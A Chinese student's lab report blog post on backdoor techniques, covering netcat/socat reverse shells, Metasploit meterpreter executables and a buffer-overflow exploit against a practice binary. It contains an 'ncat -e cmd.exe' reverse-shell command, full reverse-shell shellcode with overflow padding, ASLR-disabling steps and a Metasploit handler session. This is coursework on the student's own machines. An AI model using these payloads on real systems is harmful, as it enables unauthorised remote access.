Exp2 后门实践原理

写在最前面

本次实验一共耗时三天,五个实验部分全部完成。未能解决的问题有二,一是Windows系统cmd界面通过nc接受来自Linux的信息时,会出现转码错误,可能是Windows的一些固有缺陷,本人尝试更改了两端的编码方式,均未能解决;二是未能实现第五部分两个虚拟机间的shellcode反弹连接注入,仅实现了单一主机不同终端的shellcode注入,可能是由于本人的shellcode中网络部分的设置有问题。

上次说这次实验要搞快点的,又拖了,该杀。

这一次主要是因为浪费的时间太多了,做实验反复因为弱智奇奇怪怪的原因卡住。下次真不拖了(狗头保命)

实验内容

使用netcat获取主机操作Shell,cron启动


这里出现了中文乱码,但是不影响功能,我尝试的过程附在后面。

使用socat获取主机操作Shell, 任务计划启动

使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权




可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell,加分内容一并写入本实验报告。

实验总结与体会

这次实验大部分实验内容均在理想情况下完成。本人在完成过程中,有如下的体会:

(1)要警惕未知来源的软件,古话说“无事献殷勤,非奸即盗。”下载软件应该到官方网站下载,盗版软件或下载站点中的软件安装包很难保证安全性,即使有安全软件也很难保证计算机安全。

(2)网络攻击已经集成化、系统化、简易化,集成化的软件、“个性化”的攻击设置,网络攻击不再是某些学科专业人员的特长,目前我国已经有了相关的信息安全法律法规,但落实到个人,仍需要我们保持较高的信息安全意识。

(3)除了植入性后门,硬件、软件本身的后门让令人恐惧,信息设备的生产必须自主可靠,这也是我们一直在做的大工程,对我们的国家安全很有意义。

(4)信息安全防护是被动的,网络攻击的踪迹是难以追踪的,这与保密方面的理论也是相似的,要想保证信息安全,就要进行科学的管理,技术和制度缺一不可,信息系统的安全要进行全生命周期的防护。

(5)完成实验过程中,如果认为自己已经充分掌握实验原理,准确做到实验的各个步骤,一定要对自己有信心,可以将实验过程进行一个总结分解,梳理一个各个步骤的细节,重新操作一下,如果还未成功,一定要留意系统的特殊提醒,或是考虑其他可能。

此处碎碎念*3

【1】做实验一开始关闭了defender防火墙,忘了关火绒,之前有把火绒的提醒设置为静默,只有点击火绒图标才能看见消息,重复数次后才发现后门软件被重复查杀,真的悲怆T.T,下面是我的火绒查杀记录

【1】病毒防护,文件实时监控,发现病毒Backdoor/Meterpreter.d, 已处理

操作进程:C:\WINDOWS\system32\cmd.exe
病毒路径:C:\Users\Peter Don\exp2-20174306.exe
病毒名称:Backdoor/Meterpreter.d
病毒ID:E9028FFC12855C68
操作结果:已处理

【3】网络防护,僵尸网络防护,受到192.168.124.113的网络攻击,已阻止

关联进程:D:\NETEXP2\ncat\ncat.exe
命令行:D:\NETEXP2\ncat\ncat.exe -e cmd.exe 192.168.124.113 4306
攻击方式:Backdoor/WinCMD
远程地址:192.168.124.113:4306
本地地址:192.168.124.106:56798
防御结果:已阻止

【2】有一个下午一直没有找到nc传输的文件位置,其他同学都在原有的文件夹里,我的却在C盘的用户空间,当我重复数次,甚至尝试改用其他方式,比如UDP传输后,才想起仔细看了一眼上述火绒查杀记录的“病毒路径”,最后在电脑里找到了一大堆传过来的文件,欲哭无泪。

PS:实验用的被我移走了,一部分被火绒杀了,一部分传输过程中没有写好.exe的被我删了。
【3】可以利用流程图或者图示法来分解实验过程,比如最后的虚拟机shellcode注入,我把它分解为了八个部分:
反汇编源文件,查看是否完整(因为有一次我用的是实验一中已经被胡乱更改的pwn文件,导致在进程分析时找不到foo等等问题);
初始化栈功能(克隆虚拟机之后、更换文件后不进行设置都会出问题);
拟写shellcode;
分终端运行,通过grep、gdb分析,查出getshell地址;
打开监听;
注入;
测试。
在我反复测试均失败后,我做了最后一次详细的测试,一次成功!

思考问题

(1)例举你能想到的一个后门进入到你系统中的可能方式?

大二时候学习、实践过的灰鸽子程序,同样也是一种后门软件,利用的是MS06014****漏洞。后续我还接触过上兴远程控制,图为灰鸽子。

(2)例举你知道的后门如何启动起来(win及linux)的方式?

自启动、伪装成系统服务启动、捆绑在正常软件、欺骗安全软件等等。

碎碎念No.2:灰鸽子用的是伪装为系统服务启动,我之前通过查看系统服务,关掉了一些总是杀不干净的弹窗广告,比如神奇的中国官网下载的Adobe Acrobat Reader,就是PDF阅读器,adobe把这个软件中国区的使用权给了一家杭州公司,官网也是这家公司做的,正版软件居然捆绑广告弹窗,我查服务查出来之后找到了exe位置,删了之后世界从此清净。

(3)Meterpreter有哪些给你印象深刻的功能?

“个性化”的后门”定制服务“大大降低了网络攻击的难度,却大大提高了后门程序的复杂度。

(4)如何发现自己有系统有没有被安装后门

最直接的办法莫过于安全软件(但不是最安全的!),还可以用端口扫描检查一下有无端口号比较大的、奇怪的连接,或者捕包分析一下。

实践过程记录

碎碎念No.3:我一共截图60张,有好几次都觉得是最后一次,命名都是”最后一次XXX“,博客园插图显示不出来原名,插入之后光标自动后移,有些图片大了还需要换小图,太窒息了,可能因为图片太多,刚修改的时候偶尔还吞图。

使用netcat获取主机操作Shell,cron启动


第一次做的时候忘了关Linux防火墙和WindowsDefender,关了之后居然平平安安做到了第三部分,我咋就忘了我还有火绒。中间还尝试了双方互ping。




这里尝试解决乱码的问题,一开始以为是Linux端的问题,如果Linux端传输的数据不是规范格式,就会先乱码。

我一开始没考虑清楚,上网找了一些Linux端修改的办法,有的还需要改文件,后来没成功,仔细考虑后我觉得是Windows端的问题,上网查了查,确实有这么一种说法,我看也有同学的界面和我一样有乱码,我做了如下的博客所示的修改,但是没有变化,我也不知道为啥,按理说我把cmd端的编码从中文改为utf肯定会有变化的。
打开一个cmd 执行chcp 即可得到cmd当前的编码如图:
img
 数字936对应gbk编码。chcp + 编码数字代号,就可以将cmd的编码设置成对应的编码。比如 chcp 65001(设置成utf-8编码)

使用socat获取主机操作Shell, 任务计划启动




这一段,顺风顺水,我以为实验很快结束:)

使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

生成后门

发现文件传输有反应(实际上已经成功了,这里可能是被火绒杀了),但没有找到,尝试ping,没问题

尝试了一次UDP,也无反应

发现了火绒查杀记录

失望的发现还是没有,但是为什么和成功界面一模一样,还能能传信息?

稍加思考反复尝试,想起了火绒的记录,找到了一大家子:)

使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权




也挺顺风顺水,效果也挺恐怖。结果已经在第一部分展示。

可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell,加分内容一并写入本实验报告。

我一开始想要实现两个虚拟机之间的注入,但是失败了,总是提醒段错误,从最后的结果来看,可能是我shellcode写错了,foo的地址得出来之后的加减可能出了错误,但是我放弃了之后才发现这些错误,最后只来得及做本机之间的注入。

下面是一部分尝试使用nc连接的过程,我画了一张草图,可惜最后没成功。

让我没有想到,我在本机两个终端注入的过程中卡了那么久,一开始是错在可执行文件上,后来可能错在克隆虚拟机的一些设置没有补齐,最后可能错在shellcode设置上。

仔细想想,可能最后做的有些心急,没有把完整的过程细致分析,所幸,最后吃完饭心平气和的做了一遍,成功了,感慨万分。
首先检查了一下可执行文件

shellcode

最终结果

好在是做出来了呀!

最后的shellcode
perl -e 'print "A" x 32;print"\x01\x02\x03\x04\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input_shellcode

最后两个终端的命令界面,偶有错误。

终端A:

cyh20174306@kali:~$ cd exp1
cyh20174306@kali:~/exp1$ ls
20174306exp1 exp12 exp20174306 input pwn3
exp11 exp13-20174306 exp2-20174306 input_shellcode tset_from_15
cyh20174306@kali:~/exp1$ objdump -d 20174306exp1 | more

20174306exp1: 文件格式 elf32-i386

Disassembly of section .init:

(此处略去反汇编内容,保留foo、getshell、main)

0804847d <getShell>:
804847d: 55 push %ebp
804847e: 89 e5 mov %esp,%ebp
8048480: 83 ec 18 sub $0x18,%esp
8048483: c7 04 24 60 85 04 08 movl $0x8048560,(%esp)
804848a: e8 c1 fe ff ff call 8048350 <system@plt>
804848f: c9 leave 8048490: c3 ret

08048491 <foo>:
8048491: 55 push %ebp
8048492: 89 e5 mov %esp,%ebp
8048494: 83 ec 38 sub $0x38,%esp
8048497: 8d 45 e4 lea -0x1c(%ebp),%eax
804849a: 89 04 24 mov %eax,(%esp)
804849d: e8 8e fe ff ff call 8048330 <gets@plt>
80484a2: 8d 45 e4 lea -0x1c(%ebp),%eax
80484a5: 89 04 24 mov %eax,(%esp)
80484a8: e8 93 fe ff ff call 8048340 <puts@plt>
80484ad: c9 leave 80484ae: c3 ret

080484af <main>:
80484af: 55 push %ebp
80484b0: 89 e5 mov %esp,%ebp
80484b2: 83 e4 f0 and $0xfffffff0,%esp
80484b5: e8 d7 ff ff ff call 8048491 <foo>
80484ba: b8 00 00 00 00 mov $0x0,%eax
80484bf: c9 leave 80484c0: c3 ret 80484c1: 66 90 xchg %ax,%ax
80484c3: 66 90 xchg %ax,%ax
80484c5: 66 90 xchg %ax,%ax
80484c7: 66 90 xchg %ax,%ax
80484c9: 66 90 xchg %ax,%ax
80484cb: 66 90 xchg %ax,%ax
80484cd: 66 90 xchg %ax,%ax
80484cf: 90 nop

cyh20174306@kali:~/exp1$ execstack -s 20174306exp1
cyh20174306@kali:~/exp1$ execstack -q 20174306exp1
X 20174306exp1
cyh20174306@kali:~/exp1$ more /proc/sys/kernel/randomize_va_space
0
cyh20174306@kali:~/exp1$ su root
密码:
root@kali:/home/cyh20174306/exp1# echo "0" > /proc/sys/kernel/randomize_va_space
root@kali:/home/cyh20174306/exp1# more /proc/sys/kernel/randomize_va_space
0
root@kali:/home/cyh20174306/exp1# perl -e 'print "A" x 32;print"\x01\x02\x03\x04\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input_shellcode
root@kali:/home/cyh20174306/exp1# xxd input_shellcode
00000000: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
00000010: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
00000020: 0102 0304 31c0 31db 31c9 31d2 66b8 6701 ....1.1.1.1.f.g.
00000030: b302 b101 cd80 89c3 b880 ffff fe83 f0ff ................
00000040: 5066 6811 5c66 6a02 89e1 b210 31c0 66b8 Pfh.\fj.....1.f.
00000050: 6a01 cd80 85c0 7524 31c9 b102 31c0 b03f j.....u$1...1..?
00000060: cd80 4979 f931 c050 682f 2f73 6868 2f62 ..Iy.1.Ph//shh/b
00000070: 696e 89e3 31c9 31d2 b00b cd80 b301 31c0 in..1.1.......1.
00000080: b001 cd80 ....
root@kali:/home/cyh20174306/exp1# (cat input_shellcode;cat) | ./20174306exp1

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA1�1�1�1�f�g��̀�ø�������Pfh\fj��1�f�j̀��u$1ɱ1��?̀Iy�1�Ph//shh/bin��1�1Ұ
�1��̀

段错误
root@kali:/home/cyh20174306/exp1# (cat input_shellcode;cat) | ./20174306exp1

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA1�1�1�1�f�g��̀�ø�������Pfh\fj��1�f�j̀��u$1ɱ1��?̀Iy�1�Ph//shh/bin��1�1Ұ
�1��̀

段错误
root@kali:/home/cyh20174306/exp1# ^C
root@kali:/home/cyh20174306/exp1# (cat input_shellcode;cat) | ./20174306exp1

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA����1�1�1�1�f�g��̀�ø�������Pfh\fj��1�f�j̀��u$1ɱ1��?̀Iy�1�Ph//shh/bin��1�1Ұ
�1��̀

终端B:

cyh20174306@kali:~/exp1$ ps -ef | grep 20174306exp1
root 4659 4602 0 19:32 pts/0 00:00:00 ./20174306exp1
cyh2017+ 4663 4655 0 19:32 pts/1 00:00:00 grep 20174306exp1
cyh20174306@kali:~/exp1$ gdb
GNU gdb (Debian 8.2-1) 8.2
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word".
(gdb) quit
cyh20174306@kali:~/exp1$ su root
密码:
root@kali:/home/cyh20174306/exp1# gdb
GNU gdb (Debian 8.2-1) 8.2
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word".
(gdb) attach 4659
Attaching to process 4659
Reading symbols from /home/cyh20174306/exp1/20174306exp1...(no debugging symbols found)...done.
Reading symbols from /lib32/libc.so.6...(no debugging symbols found)...done.
Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done.
0xf7fd3079 in __kernel_vsyscall ()
(gdb) disassemble foo
Dump of assembler code for function foo:
0x08048491 <+0>: push %ebp
0x08048492 <+1>: mov %esp,%ebp
0x08048494 <+3>: sub $0x38,%esp
0x08048497 <+6>: lea -0x1c(%ebp),%eax
0x0804849a <+9>: mov %eax,(%esp)
0x0804849d <+12>: call 0x8048330 <gets@plt>
0x080484a2 <+17>: lea -0x1c(%ebp),%eax
0x080484a5 <+20>: mov %eax,(%esp)
0x080484a8 <+23>: call 0x8048340 <puts@plt>
0x080484ad <+28>: leave 0x080484ae <+29>: ret End of assembler dump.
(gdb) break *0x080484ae
Breakpoint 1 at 0x80484ae
(gdb) c
Continuing.

Breakpoint 1, 0x080484ae in foo ()
(gdb) info r esp
esp 0xffffd2dc 0xffffd2dc
(gdb) x/16x 0xffffd2dc
0xffffd2dc: 0x04030201 0xdb31c031 0xd231c931 0x0167b866
0xffffd2ec: 0x01b102b3 0xc38980cd 0xffff80b8 0xfff083fe
0xffffd2fc: 0x11686650 0x026a665c 0x10b2e189 0xb866c031
0xffffd30c: 0x80cd016a 0x2475c085 0x02b1c931 0x3fb0c031
(gdb) quit
A debugging session is active.

Inferior 1 [process 4659] will be detached.

Quit anyway? (y or n) y
Detaching from program: /home/cyh20174306/exp1/20174306exp1, process 4659
[Inferior 1 (process 4659) detached]
root@kali:/home/cyh20174306/exp1# perl -e 'print "A" x 32;print"\xe0\xd2\xff\xff\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input_shellcode
root@kali:/home/cyh20174306/exp1# xxd input_shellcode
00000000: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
00000010: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
00000020: e0d2 ffff 31c0 31db 31c9 31d2 66b8 6701 ....1.1.1.1.f.g.
00000030: b302 b101 cd80 89c3 b880 ffff fe83 f0ff ................
00000040: 5066 6811 5c66 6a02 89e1 b210 31c0 66b8 Pfh.\fj.....1.f.
00000050: 6a01 cd80 85c0 7524 31c9 b102 31c0 b03f j.....u$1...1..?
00000060: cd80 4979 f931 c050 682f 2f73 6868 2f62 ..Iy.1.Ph//shh/b
00000070: 696e 89e3 31c9 31d2 b00b cd80 b301 31c0 in..1.1.......1.
00000080: b001 cd80 ....
root@kali:/home/cyh20174306/exp1# msfconsole
[-] ***rting the Metasploit Framework console...| [-] * WARNING: No database support: No database YAML file [-] ***

IIIIII dTb.dTb _.---._
II 4' v 'B .'"".'/|\.""'. II 6. .P : .' / | \ . :
II 'T;. .;P' '.' / | .' II 'T; ;P' . / | \ .'
IIIIII 'YvP'-.|.-'`

I love shells --egypt

   =[ metasploit v5.0.2-dev                           ]
  • -- --=[ 1852 exploits - 1046 auxiliary - 325 post ]
  • -- --=[ 541 payloads - 44 encoders - 10 nops ]
  • -- --=[ 2 evasion ]
  • -- --=[ ** This is Metasploit 5 development branch ** ]

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload linux/x86/shell_reverse_tcp
payload => linux/x86/shell_reverse_tcp
msf5 exploit(multi/handler) > set LHOST 127.0.0.1
LHOST => 127.0.0.1
msf5 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf5 exploit(multi/handler) > show options

Module options (exploit/multi/handler):

Name Current Setting Required Description


Payload options (linux/x86/shell_reverse_tcp):

Name Current Setting Required Description


CMD /bin/sh yes The command string to execute
LHOST 127.0.0.1 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port

Exploit target:

Id Name


0 Wildcard Target

msf5 exploit(multi/handler) > exploit

[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started reverse TCP handler on 127.0.0.1:4444 [*] Command shell session 1 opened (127.0.0.1:4444 -> 127.0.0.1:55074) at 2020-03-22 19:41:38 +0800

ls
20174306exp1
exp11
exp12
exp13-20174306
exp2-20174306
exp20174306
input
input_shellcode
pwn3
tset_from_15
本篇博客到此结束,感谢您!

posted @ 2020-03-23 01:05  PeterDon  阅读(857)  评论(3编辑  收藏  举报